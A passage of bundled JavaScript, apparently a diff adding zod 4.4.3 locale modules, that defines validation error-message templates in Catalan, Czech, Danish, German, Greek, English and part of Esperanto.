cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "data i hora ISO", + date: "data ISO", + time: "hora ISO", + duration: "durada ISO", + ipv4: "adre\xE7a IPv4", + ipv6: "adre\xE7a IPv6", + cidrv4: "rang IPv4", + cidrv6: "rang IPv6", + base64: "cadena codificada en base64", + base64url: "cadena codificada en base64url", + json_string: "cadena JSON", + e164: "n\xFAmero E.164", + jwt: "JWT", + template_literal: "entrada" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Tipus inv\xE0lid: s'esperava instanceof ${issue2.expected}, s'ha rebut ${received}`; + } + return `Tipus inv\xE0lid: s'esperava ${expected}, s'ha rebut ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Valor inv\xE0lid: s'esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Opci\xF3 inv\xE0lida: s'esperava una de ${joinValues(issue2.values, " o ")}`; + case "too_big": { + const adj = issue2.inclusive ? "com a m\xE0xim" : "menys de"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Massa gran: s'esperava que ${issue2.origin ?? "el valor"} contingu\xE9s ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; + return `Massa gran: s'esperava que ${issue2.origin ?? "el valor"} fos ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? "com a m\xEDnim" : "m\xE9s de"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Massa petit: s'esperava que ${issue2.origin} contingu\xE9s ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Massa petit: s'esperava que ${issue2.origin} fos ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `Format inv\xE0lid: ha de comen\xE7ar amb "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `Format inv\xE0lid: ha d'acabar amb "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Format inv\xE0lid: ha d'incloure "${_issue.includes}"`; + if (_issue.format === "regex") + return `Format inv\xE0lid: ha de coincidir amb el patr\xF3 ${_issue.pattern}`; + return `Format inv\xE0lid per a ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE0lid: ha de ser m\xFAltiple de ${issue2.divisor}`; + case "unrecognized_keys": + return `Clau${issue2.keys.length > 1 ? "s" : ""} no reconeguda${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Clau inv\xE0lida a ${issue2.origin}`; + case "invalid_union": + return "Entrada inv\xE0lida"; + // Could also be "Tipus d'unió invàlid" but "Entrada invàlida" is more general + case "invalid_element": + return `Element inv\xE0lid a ${issue2.origin}`; + default: + return `Entrada inv\xE0lida`; + } + }; +}; +function ca_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js +var error6 = () => { + const Sizable = { + string: { unit: "znak\u016F", verb: "m\xEDt" }, + file: { unit: "bajt\u016F", verb: "m\xEDt" }, + array: { unit: "prvk\u016F", verb: "m\xEDt" }, + set: { unit: "prvk\u016F", verb: "m\xEDt" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rn\xED v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "datum a \u010Das ve form\xE1tu ISO", + date: "datum ve form\xE1tu ISO", + time: "\u010Das ve form\xE1tu ISO", + duration: "doba trv\xE1n\xED ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", + base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", + json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", + e164: "\u010D\xEDslo E.164", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "\u0159et\u011Bzec", + function: "funkce", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dek\xE1v\xE1no instanceof ${issue2.expected}, obdr\u017Eeno ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dek\xE1v\xE1no ${expected}, obdr\u017Eeno ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dek\xE1v\xE1no ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xE1 mo\u017Enost: o\u010Dek\xE1v\xE1na jedna z hodnot ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je p\u0159\xEDli\u0161 velk\xE1: ${issue2.origin ?? "hodnota"} mus\xED m\xEDt ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvk\u016F"}`; + } + return `Hodnota je p\u0159\xEDli\u0161 velk\xE1: ${issue2.origin ?? "hodnota"} mus\xED b\xFDt ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je p\u0159\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED m\xEDt ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvk\u016F"}`; + } + return `Hodnota je p\u0159\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED b\xFDt ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD \u0159et\u011Bzec: mus\xED za\u010D\xEDnat na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD \u0159et\u011Bzec: mus\xED kon\u010Dit na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD \u0159et\u011Bzec: mus\xED obsahovat "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD \u0159et\u011Bzec: mus\xED odpov\xEDdat vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED b\xFDt n\xE1sobkem ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1m\xE9 kl\xED\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xED\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function cs_default() { + return { + localeError: error6() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js +var error7 = () => { + const Sizable = { + string: { unit: "tegn", verb: "havde" }, + file: { unit: "bytes", verb: "havde" }, + array: { unit: "elementer", verb: "indeholdt" }, + set: { unit: "elementer", verb: "indeholdt" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-mailadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkesl\xE6t", + date: "ISO-dato", + time: "ISO-klokkesl\xE6t", + duration: "ISO-varighed", + ipv4: "IPv4-omr\xE5de", + ipv6: "IPv6-omr\xE5de", + cidrv4: "IPv4-spektrum", + cidrv6: "IPv6-spektrum", + base64: "base64-kodet streng", + base64url: "base64url-kodet streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + string: "streng", + number: "tal", + boolean: "boolean", + array: "liste", + object: "objekt", + set: "s\xE6t", + file: "fil" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldigt input: forventede instanceof ${issue2.expected}, fik ${received}`; + } + return `Ugyldigt input: forventede ${expected}, fik ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig v\xE6rdi: forventede ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldigt valg: forventede en af f\xF8lgende ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + if (sizing) + return `For stor: forventede ${origin ?? "value"} ${sizing.verb} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementer"}`; + return `For stor: forventede ${origin ?? "value"} havde ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + const origin = TypeDictionary[issue2.origin] ?? issue2.origin; + if (sizing) { + return `For lille: forventede ${origin} ${sizing.verb} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lille: forventede ${origin} havde ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: skal starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: skal ende med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: skal indeholde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: skal matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldigt tal: skal v\xE6re deleligt med ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukendte n\xF8gler" : "Ukendt n\xF8gle"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8gle i ${issue2.origin}`; + case "invalid_union": + return "Ugyldigt input: matcher ingen af de tilladte typer"; + case "invalid_element": + return `Ugyldig v\xE6rdi i ${issue2.origin}`; + default: + return `Ugyldigt input`; + } + }; +}; +function da_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js +var error8 = () => { + const Sizable = { + string: { unit: "Zeichen", verb: "zu haben" }, + file: { unit: "Bytes", verb: "zu haben" }, + array: { unit: "Elemente", verb: "zu haben" }, + set: { unit: "Elemente", verb: "zu haben" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "Eingabe", + email: "E-Mail-Adresse", + url: "URL", + emoji: "Emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO-Datum und -Uhrzeit", + date: "ISO-Datum", + time: "ISO-Uhrzeit", + duration: "ISO-Dauer", + ipv4: "IPv4-Adresse", + ipv6: "IPv6-Adresse", + cidrv4: "IPv4-Bereich", + cidrv6: "IPv6-Bereich", + base64: "Base64-codierter String", + base64url: "Base64-URL-codierter String", + json_string: "JSON-String", + e164: "E.164-Nummer", + jwt: "JWT", + template_literal: "Eingabe" + }; + const TypeDictionary = { + nan: "NaN", + number: "Zahl", + array: "Array" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ung\xFCltige Eingabe: erwartet instanceof ${issue2.expected}, erhalten ${received}`; + } + return `Ung\xFCltige Eingabe: erwartet ${expected}, erhalten ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ung\xFCltige Eingabe: erwartet ${stringifyPrimitive(issue2.values[0])}`; + return `Ung\xFCltige Option: erwartet eine von ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Zu gro\xDF: erwartet, dass ${issue2.origin ?? "Wert"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "Elemente"} hat`; + return `Zu gro\xDF: erwartet, dass ${issue2.origin ?? "Wert"} ${adj}${issue2.maximum.toString()} ist`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Zu klein: erwartet, dass ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} hat`; + } + return `Zu klein: erwartet, dass ${issue2.origin} ${adj}${issue2.minimum.toString()} ist`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ung\xFCltiger String: muss mit "${_issue.prefix}" beginnen`; + if (_issue.format === "ends_with") + return `Ung\xFCltiger String: muss mit "${_issue.suffix}" enden`; + if (_issue.format === "includes") + return `Ung\xFCltiger String: muss "${_issue.includes}" enthalten`; + if (_issue.format === "regex") + return `Ung\xFCltiger String: muss dem Muster ${_issue.pattern} entsprechen`; + return `Ung\xFCltig: ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ung\xFCltige Zahl: muss ein Vielfaches von ${issue2.divisor} sein`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Unbekannte Schl\xFCssel" : "Unbekannter Schl\xFCssel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ung\xFCltiger Schl\xFCssel in ${issue2.origin}`; + case "invalid_union": + return "Ung\xFCltige Eingabe"; + case "invalid_element": + return `Ung\xFCltiger Wert in ${issue2.origin}`; + default: + return `Ung\xFCltige Eingabe`; + } + }; +}; +function de_default() { + return { + localeError: error8() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js +var error9 = () => { + const Sizable = { + string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, + file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, + array: { unit: "\u03C3\u03C4\u03BF\u03B9\u03C7\u03B5\u03AF\u03B1", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, + set: { unit: "\u03C3\u03C4\u03BF\u03B9\u03C7\u03B5\u03AF\u03B1", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, + map: { unit: "\u03BA\u03B1\u03C4\u03B1\u03C7\u03C9\u03C1\u03AE\u03C3\u03B5\u03B9\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2", + email: "\u03B4\u03B9\u03B5\u03CD\u03B8\u03C5\u03BD\u03C3\u03B7 email", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u03B7\u03BC\u03B5\u03C1\u03BF\u03BC\u03B7\u03BD\u03AF\u03B1 \u03BA\u03B1\u03B9 \u03CE\u03C1\u03B1", + date: "ISO \u03B7\u03BC\u03B5\u03C1\u03BF\u03BC\u03B7\u03BD\u03AF\u03B1", + time: "ISO \u03CE\u03C1\u03B1", + duration: "ISO \u03B4\u03B9\u03AC\u03C1\u03BA\u03B5\u03B9\u03B1", + ipv4: "\u03B4\u03B9\u03B5\u03CD\u03B8\u03C5\u03BD\u03C3\u03B7 IPv4", + ipv6: "\u03B4\u03B9\u03B5\u03CD\u03B8\u03C5\u03BD\u03C3\u03B7 IPv6", + mac: "\u03B4\u03B9\u03B5\u03CD\u03B8\u03C5\u03BD\u03C3\u03B7 MAC", + cidrv4: "\u03B5\u03CD\u03C1\u03BF\u03C2 IPv4", + cidrv6: "\u03B5\u03CD\u03C1\u03BF\u03C2 IPv6", + base64: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64", + base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", + json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", + e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + jwt: "JWT", + template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (typeof issue2.expected === "string" && /^[A-Z]/.test(issue2.expected)) { + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD instanceof ${issue2.expected}, \u03BB\u03AE\u03C6\u03B8\u03B7\u03BA\u03B5 ${received}`; + } + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD ${expected}, \u03BB\u03AE\u03C6\u03B8\u03B7\u03BA\u03B5 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD ${stringifyPrimitive(issue2.values[0])}`; + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03B5\u03C0\u03B9\u03BB\u03BF\u03B3\u03AE: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD \u03AD\u03BD\u03B1 \u03B1\u03C0\u03CC ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u03A0\u03BF\u03BB\u03CD \u03BC\u03B5\u03B3\u03AC\u03BB\u03BF: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD ${issue2.origin ?? "\u03C4\u03B9\u03BC\u03AE"} \u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u03C3\u03C4\u03BF\u03B9\u03C7\u03B5\u03AF\u03B1"}`; + return `\u03A0\u03BF\u03BB\u03CD \u03BC\u03B5\u03B3\u03AC\u03BB\u03BF: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD ${issue2.origin ?? "\u03C4\u03B9\u03BC\u03AE"} \u03BD\u03B1 \u03B5\u03AF\u03BD\u03B1\u03B9 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u03A0\u03BF\u03BB\u03CD \u03BC\u03B9\u03BA\u03C1\u03CC: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD ${issue2.origin} \u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u03A0\u03BF\u03BB\u03CD \u03BC\u03B9\u03BA\u03C1\u03CC: \u03B1\u03BD\u03B1\u03BC\u03B5\u03BD\u03CC\u03C4\u03B1\u03BD ${issue2.origin} \u03BD\u03B1 \u03B5\u03AF\u03BD\u03B1\u03B9 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC: \u03C0\u03C1\u03AD\u03C0\u03B5\u03B9 \u03BD\u03B1 \u03BE\u03B5\u03BA\u03B9\u03BD\u03AC \u03BC\u03B5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC: \u03C0\u03C1\u03AD\u03C0\u03B5\u03B9 \u03BD\u03B1 \u03C4\u03B5\u03BB\u03B5\u03B9\u03CE\u03BD\u03B5\u03B9 \u03BC\u03B5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC: \u03C0\u03C1\u03AD\u03C0\u03B5\u03B9 \u03BD\u03B1 \u03C0\u03B5\u03C1\u03B9\u03AD\u03C7\u03B5\u03B9 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC: \u03C0\u03C1\u03AD\u03C0\u03B5\u03B9 \u03BD\u03B1 \u03C4\u03B1\u03B9\u03C1\u03B9\u03AC\u03B6\u03B5\u03B9 \u03BC\u03B5 \u03C4\u03BF \u03BC\u03BF\u03C4\u03AF\u03B2\u03BF ${_issue.pattern}`; + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03BF: ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03BF\u03C2 \u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2: \u03C0\u03C1\u03AD\u03C0\u03B5\u03B9 \u03BD\u03B1 \u03B5\u03AF\u03BD\u03B1\u03B9 \u03C0\u03BF\u03BB\u03BB\u03B1\u03C0\u03BB\u03AC\u03C3\u03B9\u03BF \u03C4\u03BF\u03C5 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0386\u03B3\u03BD\u03C9\u03C3\u03C4${issue2.keys.length > 1 ? "\u03B1" : "\u03BF"} \u03BA\u03BB\u03B5\u03B9\u03B4${issue2.keys.length > 1 ? "\u03B9\u03AC" : "\u03AF"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03BF \u03BA\u03BB\u03B5\u03B9\u03B4\u03AF \u03C3\u03C4\u03BF ${issue2.origin}`; + case "invalid_union": + return "\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2"; + case "invalid_element": + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03C4\u03B9\u03BC\u03AE \u03C3\u03C4\u03BF ${issue2.origin}`; + default: + return `\u039C\u03B7 \u03AD\u03B3\u03BA\u03C5\u03C1\u03B7 \u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2`; + } + }; +}; +function el_default() { + return { + localeError: error9() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js +var error10 = () => { + const Sizable = { + string: { unit: "characters", verb: "to have" }, + file: { unit: "bytes", verb: "to have" }, + array: { unit: "items", verb: "to have" }, + set: { unit: "items", verb: "to have" }, + map: { unit: "entries", verb: "to have" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "email address", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO datetime", + date: "ISO date", + time: "ISO time", + duration: "ISO duration", + ipv4: "IPv4 address", + ipv6: "IPv6 address", + mac: "MAC address", + cidrv4: "IPv4 range", + cidrv6: "IPv6 range", + base64: "base64-encoded string", + base64url: "base64url-encoded string", + json_string: "JSON string", + e164: "E.164 number", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `Invalid input: expected ${expected}, received ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; + return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; + return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `Too small: expected ${issue2.origin} to be ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `Invalid string: must start with "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `Invalid string: must end with "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Invalid string: must include "${_issue.includes}"`; + if (_issue.format === "regex") + return `Invalid string: must match pattern ${_issue.pattern}`; + return `Invalid ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Invalid number: must be a multiple of ${issue2.divisor}`; + case "unrecognized_keys": + return `Unrecognized key${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Invalid key in ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Invalid discriminator value. Expected ${opts}`; + } + return "Invalid input"; + case "invalid_element": + return `Invalid value in ${issue2.origin}`; + default: + return `Invalid input`; + } + }; +}; +function en_default() { + return { + localeError: error10() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js +var error11 = () => { + const Sizable = { + string: { unit: "karaktrojn", verb: "havi" }, + file: { unit: "bajtojn", verb: "havi" }, + array: { unit: "elementojn", verb: "havi" }, + set: { unit: "elementojn", verb: "havi" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "enigo", + email: "retadreso", + url: "URL", + emoji: "emo\u011Dio", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO-datotempo", + date: "ISO-dato", + time: "ISO-tempo", + duration: "ISO-da\u016Dro", + ipv4: "IPv4-adreso", + ipv6: "IPv6-adreso", + cidrv4: "IPv4-rango", + 